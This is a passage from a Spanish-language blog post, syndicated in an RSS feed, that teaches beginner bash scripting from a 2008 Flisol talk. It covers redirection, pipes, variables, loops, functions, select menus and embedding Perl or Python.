<blockquote><p><em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$</em> grep da * 2&gt; errores-grep.txt</p></blockquote>
<p>Esto hará que la salida stdout de un programa se escriba en el mismo descriptor de fichero que stderr.<br />
stdout a un stderr<br />
En este caso, la parte stdout del comando se envía a stderr.</p>
<blockquote><p><em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$ </em>grep da * 1&gt;&amp;2</p></blockquote>
<p>Esto hará que la salida stderr de un programa se escriba en el mismo descriptor de fichero que stdout.<br />
stderr a stdout.<br />
En este caso, la parte stderr del comando se envía a stdout</p>
<blockquote><p><em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$</em>grep * 2&gt;&amp;1</p></blockquote>
<p><span style="text-decoration: underline;">TUBERÍAS</span></p>
<p>Las tuberías le permiten utilizar la salida de un programa como la entrada de otro.</p>
<p>enlista  | entuba en sed e imprime en pantalla, todo con solo U =)</p>
<blockquote><p><em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$</em> ls -l | sed -e “s/[aeio]/u/g”<br />
tutul 524<br />
-rwxr-xr-x 1 um bucuu    251 2008-04-26 04:25 ulurmu.sh<br />
drwxr-xr-x 2 um bucuu   4096 2008-04-26 19:45 bush<br />
-rw-r–r– 1 um bucuu 142551 2008-04-26 02:46 Bush.udp<br />
-rw-r–r– 1 um bucuu      0 2008-04-26 12:28 urrurus-grup.txt<br />
-rwxr-xr-x 1 um bucuu     55 2008-04-26 10:44 fururur.sh<br />
drwxr-xr-x 2 um bucuu   4096 2008-04-24 18:16 umg<br />
-rw-r–r– 1 um bucuu    129 2008-04-17 02:37 lul.sh~<br />
-rw-r–r– 1 um bucuu     78 2008-04-13 09:35 numbru.sh~<br />
-rw-r–r– 1 um bucuu  42207 2008-04-13 09:02 Puntulluzu-76.png<br />
-rw-r–r– 1 um bucuu 313771 2008-04-26 02:48 prugrumucuununbush08.pdf<br />
<em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$ </em></p></blockquote>
<p>En este caso, la salida del programa ls -l se envía al programa grep, que imprimirá las líneas que concuerden con la regex (expresión regular) “\.txt$”</p>
<blockquote><p><em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$</em> ls -l | grep “\.txt$”<br />
-rw-r–r– 1 im bucio      0 2008-04-26 12:28 errores-grep.txt<br />
<em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008$<br />
</em></p></blockquote>
<p style="text-align: center;"><strong>EMPEZANDO CON LOS SCRIPTS.</strong></p>
<p style="text-align: left;">Después de mostrar los comandos básicos y tuberías empece con la acción <img class="wp-smiley" src="http://thebucio.org/wp-content/plugins/smilies-themer/adiumicons/biggrin.png" alt=":D" /></p>
<p style="text-align: left;"><span style="text-decoration: underline;">VARIABLES</span></p>
<blockquote>
<p style="text-align: left;"><span style="color: #808080;">#!/bin/sh</span><br />
<span style="color: #000080;">nombrevariable=valor   <span style="color: #808080;">#&lt;– declarando variable normal</span><br />
nombrevariablecomando=’comando’ <span style="color: #808080;">#&lt;– declarando variable con valor de comando<br />
<span style="color: #000080;">echo</span> <span style="color: #000000;">$nombrevariable</span> #&lt;– mandando a llamar variable<br />
</span></span></p></blockquote>
<p style="text-align: left;"><span style="text-decoration: underline;">VARIABLES INTRODUCIDAS POR EL TECLADO</span></p>
<blockquote>
<p style="text-align: left;"><span style="color: #808080;">Script nombre.sh<br />
#!/bin/sh</span><br />
<span style="color: #333399;">echo </span>”hola como te llamas”<br />
<strong>read</strong> <span style="color: #333399;">nombre</span></p></blockquote>
<blockquote>
<p style="text-align: left;"><span style="color: #808080;">Script read.sh<br />
#!/bin/sh</span><br />
<span style="color: #333399;">echo </span>”hola como te llamas”<br />
<span style="color: #333399;"><strong>read </strong>nombre</span><br />
<span style="color: #333399;">echo</span> ”Hola $nombre”</p></blockquote>
<p style="text-align: left;"><span style="text-decoration: underline;">COMANDO READ</span><br />
-n num_car : Número máximo de caracteres que puedes introducir por teclado<br />
-p “frase” : Te muestra por pantalla una frase para, saber que debes introducir<br />
-d “delimitador” : Especificas cual va a ser el delimitador, es decir si dices que el delimitador sera “;” pues todo lo que venga antes de un “;” lo cogerá una variable y todo lo que venga después de ese delimitador hasta el próximo “;” lo cogerá otra variable</p>
<blockquote>
<p style="text-align: left;">read [opciones] nombre_variable1 nombre_variable2 nombre_variableN<br />
<span style="color: #333399;">read -p</span> “Introduce el nombre y los apellidos”<span style="color: #333399;"> nombre apellidos</span></p></blockquote>
<p style="text-align: left;"><span style="text-decoration: underline;">Condiciones, Operadores….</span></p>
<p style="text-align: left;"><span style="text-decoration: underline;">OPERADORES RELACIONALES ARITMÉTICOS</span><br />
-lt (&lt;)<br />
-gt (&gt;)<br />
-le (&lt;=)<br />
-ge (&gt;=)<br />
-eq (==)<br />
-ne (!=)</p>
<p style="text-align: left;"><span style="text-decoration: underline;">OPERADORES  ARITMETICOS</span><br />
+ (adición)<br />
- (sustracción)<br />
* (producto)<br />
/ (división)<br />
% (módulo)</p>
<p style="text-align: left;"><span style="text-decoration: underline;">CONDICIONES, BUCLES, CICLOS..</span><br />
( If – Then )<br />
( While )<br />
(UNTIL)<br />
( FOR )</p>
<p style="text-align: left;"><span style="text-decoration: underline;">IF</span></p>
<blockquote>
<p style="text-align: left;"><span style="color: #333399;">if</span> [condición]<br />
then<br />
lista de comandos<br />
else<br />
lista de comandos2<br />
<span style="color: #333399;">fi</span></p></blockquote>
<blockquote>
<p style="text-align: left;"><span style="color: #808080;">Script ifvariable.sh<br />
#!/bin/bash</span><br />
<span style="color: #003366;">echo</span> ‘ Adivina el valor numerico de la variable’<br />
<span style="color: #003366;">read A</span><br />
<span style="color: #003366;">if [ $A = 1 ]<br />
then</span><br />
<span style="color: #003366;">echo</span> ‘Acertaste’<br />
<span style="color: #003366;">exit 0<br />
fi<br />
echo </span>‘No acertaste’<br />
<span style="color: #003366;">exit</span></p></blockquote>
<blockquote>
<p style="text-align: left;"><span style="color: #808080;">Script ifelse.sh<br />
#!/bin/bash</span><br />
<span style="color: #0000ff;">echo </span>Cual es tu Edad<br />
<span style="color: #0000ff;">read edad</span><br />
<span style="color: #0000ff;">if [ $edad -ge 18 ]; then<br />
echo</span> eres mayor de edad<br />
<span style="color: #0000ff;">else<br />
echo</span> eres menor de edad<br />
<span style="color: #0000ff;">fi</span></p></blockquote>
<p style="text-align: left;"><span style="text-decoration: underline;">FOR</span><br />
El bucle for es distinto a los de otros lenguajes de programación. Básicamente, le permite iterar sobre una serie de `palabras’ contenidas dentro de una cadena.</p>
<blockquote>
<p style="text-align: left;"><span style="color: #808080;"> SCRIPT for.sh<br />
#!/bin/bash</span><br />
<span style="color: #0000ff;"> for i in $( ls ); do</span><br />
<span style="color: #0000ff;">echo</span> item: <span style="color: #0000ff;">$i</span><br />
<span style="color: #0000ff;"> done</span></p></blockquote>
<p>En la segunda línea declaramos i como la variable que recibirá los diferentes valores contenidos en $( ls ).<br />
‘done’ indica que el código que ha utilizado el valor de $i ha acabado e $i puede tomar el nuevo valor.</p>
<p><span style="text-decoration: underline;">WHILE</span><br />
El bucle while ejecuta un trozo de códico si la expresión de control es verdadera, y sólo se para cuando es falsa (o se encuentra una interrupción explícita dentro del código en ejecución).</p>
<blockquote><p><span style="color: #000080;">while [ <span style="color: #993300;">condición </span>]; do<br />
…<br />
done</span></p></blockquote>
<blockquote><p><span style="color: #808080;">Script tabla.sh<br />
#!/bin/bash</span><br />
<span style="color: #000080;">echo -n</span> Que tabla de multiplicar desea ver<br />
<span style="color: #000080;">read numero<br />
contador=1<br />
while [ $contador -le 10 ]; do<br />
let multi=$numero*$contador<br />
echo $numero*$contador = $multi</span><br />
<span style="color: #000080;">let contador=</span><span style="color: #000080;">$contador+1<br />
done</span></p></blockquote>
<p>let lo que hace es evaluar arithmeticamente la expresion que sigue.</p>
<p><span style="text-decoration: underline;">UNTIL</span><br />
El bucle until es casi idéntico al bucle loop, excepto en que el código se ejecuta mientras la expresión de control se evalúe como falsa.</p>
<blockquote><p><span style="color: #808080;">script until.sh<br />
#!/bin/bash </span><br />
<span style="color: #000080;"> CONTADOR=20<br />
until [  $CONTADOR -lt 10 ]; do<br />
echo CONTADOR $CONTADOR<br />
let CONTADOR-=1<br />
done</span></p></blockquote>
<p><span style="text-decoration: underline;">FUNCIONES</span></p>
<p>Como en casi todo lenguaje de programación, puede utilizar funciones para agrupar trozos de código de una manera más lógica, o practicar el divino arte de la recursión.</p>
<p>Declarar una función es sólo cuestión de escribir<br />
function mi_func { mi_código }.</p>
<blockquote><p>script funcion.sh<br />
1   <span style="color: #808080;"> </span><span style="color: #808080;">#!/bin/bash </span><br />
2<span style="color: #000080;"> function salir {</span><br />
3 <span style="color: #000080;"> exit</span><br />
4 <span style="color: #000080;"> }</span><br />
5    <span style="color: #000080;"> function hola {</span><br />
6            <span style="color: #000080;"> echo Hola</span><br />
7        <span style="color: #000080;"> }</span><br />
8          <span style="color: #000080;"> hola</span><br />
9           <span style="color: #000080;">salir</span></p></blockquote>
<blockquote><p>script funcionvariable.sh<br />
<span style="color: #808080;"> </span><span style="color: #000080;"><span style="color: #808080;"> #!/bin/bash </span><br />
function salir {<br />
exit<br />
}<br />
function e {<br />
echo $1<br />
}<br />
e <span style="color: #000000;">Hola</span><br />
e <span style="color: #000000;">Mundo</span><br />
salir</span></p></blockquote>
<p><span style="text-decoration: underline;">SELECT</span><br />
El sueño de un programador para hacer menús basados en texto.<br />
Muy similar a la construcción ‘for’, sólo que en vez de interar para cada ‘palabra’ en $OPCIONES, se lo pide al usuario.</p>
<blockquote><p><span style="color: #808080;"> script menuselect.sh<br />
#!/bin/bash</span><br />
<span style="color: #000080;"> OPCIONES=”Hola Salir”<br />
select opt in $OPCIONES; do<br />
if [ "$opt" = "<span style="color: #000000;">Salir</span>" ]; then<br />
echo done<br />
exit<br />
elif [ "$opt" = "<span style="color: #000000;">Hola</span>" ]; then<br />
echo<span style="color: #000000;"> Hola Mundo<br />
</span> else<br />
clear<br />
echo <span style="color: #000000;">opción errónea</span><br />
fi<br />
done </span></p></blockquote>
<p><span style="text-decoration: underline;">BASH EN OTROS LENGUAJES</span></p>
<blockquote><p><strong>PERL</strong><br />
<span style="color: #808080;">#!/bin/bash<br />
#Llamando a un interprete externo a BASH</span><br />
<span style="color: #000080;">echo </span>‘El siguiente texto será mostrado por el interprete de PERL’<br />
<span style="color: #000080;">perl -e ‘print </span>“Este texto es mostrado por un script PERL embebido.\n”;’<br />
<span style="color: #000080;">exit 0</span></p>
<p><strong>PYTHON</strong><br />
<span style="color: #808080;">#!/bin/bash<br />
#Llamando al interprete de Python.<br />
</span><span style="color: #000080;">echo </span>‘El siguiente es un script de python:’<br />
<span style="color: #000080;">echo print </span>“Hola, mundo!” <span style="color: #000080;">| tee $HOME/.testpythonbash.py<br />
python $HOME/.testpythonbash.py<br />
exit 0</span></p></blockquote>
<p>Referencias:</p>
<p><a href="http://martinezcampuzano.blogspot.com/2007/08/programacion-en-bash.html">http://martinezcampuzano.blogspot.com/2007/08/programacion-en-bash.html </a><br />
<a href="http://es.wikibooks.org/wiki/El_Manual_de_BASH_Scripting_B%C3%A1sico_para_Principiantes">http://es.wikibooks.org/wiki/El_Manual_de_BASH_Scripting_B%C3%A1sico_para_Principiantes</a><br />
<a href="http://www.guia-ubuntu.org/index.php?title=Terminal">http://www.guia-ubuntu.org/index.php?title=Terminal</a><br />
<a href="http://buntulug.com.ar/wiki/Tutorial_de_Bash">http://buntulug.com.ar/wiki/Tutorial_de_Bash</a><br />
<a href="http://es.tldp.org/COMO-INSFLUG/COMOs/Bash-Prog-Intro-COMO/">http://es.tldp.org/COMO-INSFLUG/COMOs/Bash-Prog-Intro-COMO/</a></p>
<p><a href="http://bucio.com.mx/2008/04/programacion-en-bash/" target="_blank">Fuente</a></p>
]]></content:encoded>
			<wfw:commentRss>http://debian-ar.org/2008/08/01/programacion-en-bash/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
